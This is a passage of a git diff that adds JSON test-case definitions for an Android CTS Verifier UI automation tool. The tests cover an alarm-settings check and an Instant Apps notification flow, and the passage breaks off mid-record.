}}","name":"02-Sharing of requested bugreport declined while being taken","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.069000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c42d7405-be13-45c1-bead-84f86ce54262 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c42d7405-be13-45c1-bead-84f86ce54262
new file mode 100644
index 0000000..513675f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c42d7405-be13-45c1-bead-84f86ce54262
@@ -0,0 +1 @@
+{"uuid":"c42d7405-be13-45c1-bead-84f86ce54262","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Alarms and Timers Tests-Full Alarm Test\",\"actionId\":\"c42d7405-be13-45c1-bead-84f86ce54262\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Full Alarm Test\",\"actionId\":\"ffd5966f-98b8-4666-a2db-2d44f04d699b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Full Alarm Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Create Alarm\",\"actionId\":\"3efddd8c-9c9a-4d8d-a9d8-4670eee4f4e9\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Create Alarm\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Name of alarm is Create Alarm Test\",\"actionId\":\"02328500-b1c7-456e-8366-71ed7e9dfb81\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/edit_label\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Create Alarm Test\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Vibrate is ON\",\"actionId\":\"f7f689be-9f31-43bc-a53c-5f210a2d6f2d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"true\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Vibrate\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Ringtone is Silent\",\"actionId\":\"49a5145f-95d1-4f1a-85ef-ad537532b0ef\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/choose_ringtone\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Silent\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Time is 01:23\",\"actionId\":\"094356bc-f74d-4e3a-905d-72a89e69b414\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/digital_clock\"},{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"1:23 AM\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Repeat checked\",\"actionId\":\"bde74e88-3bb6-4723-9c8f-9fcdd2990cef\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"true\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Repeat\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Sunday Disabled\",\"actionId\":\"59b8d8d9-0465-4c6a-b629-c2619cb22802\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Sunday\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"S\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Monday Enabled\",\"actionId\":\"05293815-3949-4daf-bb63-a08ada48cf67\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Monday\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"M\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Tuesday Disabled\",\"actionId\":\"72110d77-9ccf-4ad8-9056-5897f2d3e558\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Tuesday\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"T\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Wednesday Enabled\",\"actionId\":\"be1f507d-e416-4d40-840e-089e59eae5b2\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Wednesday\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"W\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Thursday Disabled\",\"actionId\":\"e5a59014-f680-4a8a-9539-3bbe65eb7fed\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Thursday\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"T\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Friday Disabled\",\"actionId\":\"e1471055-1d9c-4d54-9729-d074efbe428b\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Friday\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"F\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Saturday Disabled\",\"actionId\":\"fca70b2a-7dde-4e0a-93e3-220691553957\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Saturday\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"S\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"20fec6ee-8d99-4900-981a-e9ebb44be7ec\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"3832f622-3408-4968-9429-c0c9e11905d5\",\"ffd5966f-98b8-4666-a2db-2d44f04d699b\",\"3efddd8c-9c9a-4d8d-a9d8-4670eee4f4e9\",\"02328500-b1c7-456e-8366-71ed7e9dfb81\",\"f7f689be-9f31-43bc-a53c-5f210a2d6f2d\",\"49a5145f-95d1-4f1a-85ef-ad537532b0ef\",\"094356bc-f74d-4e3a-905d-72a89e69b414\",\"bde74e88-3bb6-4723-9c8f-9fcdd2990cef\",\"59b8d8d9-0465-4c6a-b629-c2619cb22802\",\"05293815-3949-4daf-bb63-a08ada48cf67\",\"72110d77-9ccf-4ad8-9056-5897f2d3e558\",\"be1f507d-e416-4d40-840e-089e59eae5b2\",\"e5a59014-f680-4a8a-9539-3bbe65eb7fed\",\"e1471055-1d9c-4d54-9729-d074efbe428b\",\"fca70b2a-7dde-4e0a-93e3-220691553957\",\"61f8f3bd-bae5-4a38-949c-f759cda9375e\",\"20fec6ee-8d99-4900-981a-e9ebb44be7ec\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Alarms and Timers Tests-Full Alarm Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.030000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c60af00e-9503-4c6d-a6f1-410419405024 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c60af00e-9503-4c6d-a6f1-410419405024
new file mode 100644
index 0000000..4087cda
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c60af00e-9503-4c6d-a6f1-410419405024
@@ -0,0 +1 @@
+{"uuid":"c60af00e-9503-4c6d-a6f1-410419405024","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Instant Apps Notification Test\",\"actionId\":\"c60af00e-9503-4c6d-a6f1-410419405024\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to  Instant Apps Notification Test\",\"actionId\":\"60edd4ca-a93d-4d7f-97a4-4907eed14c7f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Instant Apps Notification Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f4241561-970d-47eb-9714-6f6c4259a557\",\"displayText\":\"Instant Apps Notification Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Instant Apps Notification Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":403.0,\"x2\":351.25,\"y2\":445.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":105.5,\"y\":421.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":74.5,\"y\":2.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"f4241561-970d-47eb-9714-6f6c4259a557\",\"firstText\":\"Instant Apps Notification Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Instant Apps Notification Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":409.0,\"x2\":204.0,\"y2\":434.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Instant Apps Notification Test\",\"actionId\":\"2f84faf3-ab47-4f4b-b90c-e62ce2d6d56e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Instant Apps Notification Test\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Instant Apps\",\"actionId\":\"095f080a-7fd4-4ea0-8e16-b827ee951652\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Instant Apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c69e19de-dc88-4964-9a75-4e5e516719e7\",\"displayText\":\"Instant Apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"633977bb-467b-4cba-8b6c-5dee631c51ac\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.android.systemui:id/backgroundNormal\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":607.0,\"x2\":356.5,\"y2\":690.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"1ebbc8d7-6764-4a37-b735-8b2dfae8feac\",\"displayText\":\"Instant Apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"07b6d02d-14c7-456d-9a63-b12fab505430\",\"displayText\":\"Instant Apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7412303f-6487-4d27-881e-9199db1d8d7b\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"85ee0ecb-7be0-401b-b411-ecb12725ccd6\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":621.0,\"x2\":31.75,\"y2\":636.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/header_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":621.0,\"x2\":36.0,\"y2\":636.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"92936681-8f8e-49be-aac6-fab972677e8a\",\"displayText\":\"Instant Apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"Instant Apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":38.75,\"y1\":621.75,\"x2\":98.0,\"y2\":636.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.375,\"y\":-0.625,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Instant Apps\"},{\"uuid\":\"2e34e3b8-27b7-4203-b379-e2f628875146\",\"displayText\":\"•\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/header_text_divider\",\"text\":\"•\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":101.5,\"y1\":621.75,\"x2\":105.0,\"y2\":636.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"•\"},{\"uuid\":\"1bab14f0-52ca-4966-a627-cffc3e6615ae\",\"displayText\":\"Sample Instant App for Testing running\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/header_text\",\"text\":\"Sample Instant App for Testing running\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":108.5,\"y1\":621.75,\"x2\":290.25,\"y2\":636.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Sample Instant App for Testing running\"},{\"uuid\":\"002e0d34-b830-4c72-b807-f124b2b662be\",\"displayText\":\"Expand\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/expand_button\",\"contentDesc\":\"Expand\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":311.75,\"y1\":607.75,\"x2\":353.75,\"y2\":649.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Expand\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/notification_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":607.0,\"x2\":356.5,\"y2\":650.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Instant Apps\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/expanded\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":607.0,\"x2\":356.5,\"y2\":690.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Instant Apps\"},{\"uuid\":\"58e50ba0-c6ce-4fd5-8cb8-75dec9eff367\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/fake_shadow\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":607.0,\"x2\":356.5,\"y2\":690.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":607.0,\"x2\":356.5,\"y2\":650.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":67.0,\"y\":629.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":113.0,\"y\":-0.625,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"92936681-8f8e-49be-aac6-fab972677e8a\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Instant Apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":36.0,\"y1\":621.0,\"x2\":98.0,\"y2\":638.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Instant Apps\",\"actionId\":\"af875290-c5b8-4348-be63-026a49461725\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Instant Apps\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find \\\"Go to browser\\\"\",\"actionId\":\"2eba5ece-5384-4ee2-bc0e-ec53715406ab\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Go to browser\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"62dc1ff3-5d3e-47c9-b140-558877390db3\",\"displayText\":\"Go to browser\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"8613e30b-898b-4288-81c5-0c31d7dfd275\",\"displayText\":\"Go to browser\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/action0\",\"text\":\"Go to browser\",\"contentDesc\":\"Go to browser\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":7.0,\"y1\":552.5,\"x2\":110.25,\"y2\":594.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.625,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Go to browser\"},{\"uuid\":\"80e24fd8-d525-453e-98a4-f2c8a93379c2\",\"displayText\":\"App info\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/action0\",\"text\":\"App info\",\"contentDesc\":\"App info\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":113.75,\"y1\":552.5,\"x2\":182.75,\"y2\":594.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"App info\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/actions\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":547.25,\"x2\":346.0,\"y2\":599.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":58.0,\"y\":571.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":116.75,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"8613e30b-898b-4288-81c5-0c31d7dfd275\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Go to browser\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":11.0,\"y1\":561.0,\"x2\":105.0,\"y2\":582.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Go to browser\",\"actionId\":\"0a7a88e0-c5f2-44d2-8333-e3f05c48b495\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Go to browser\"},{\"type\":\"ConditionClickAction\",\"name\":\"Click Accept button if need\",\"actionId\":\"fe129759-c832-4a13-ad55-a53364c03404\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.chrome:id/terms_accept\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"42122879-cb6f-4fb3-91e6-0f187bda61a0\",\"displayText\":\"Accept & continue\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.chrome:id/terms_accept\",\"text\":\"Accept & continue\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":117.5,\"y1\":667.25,\"x2\":242.25,\"y2\":709.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":176.0,\"y\":687.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":3.875,\"y\":0.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"42122879-cb6f-4fb3-91e6-0f187bda61a0\",\"firstText\":\"Accept & 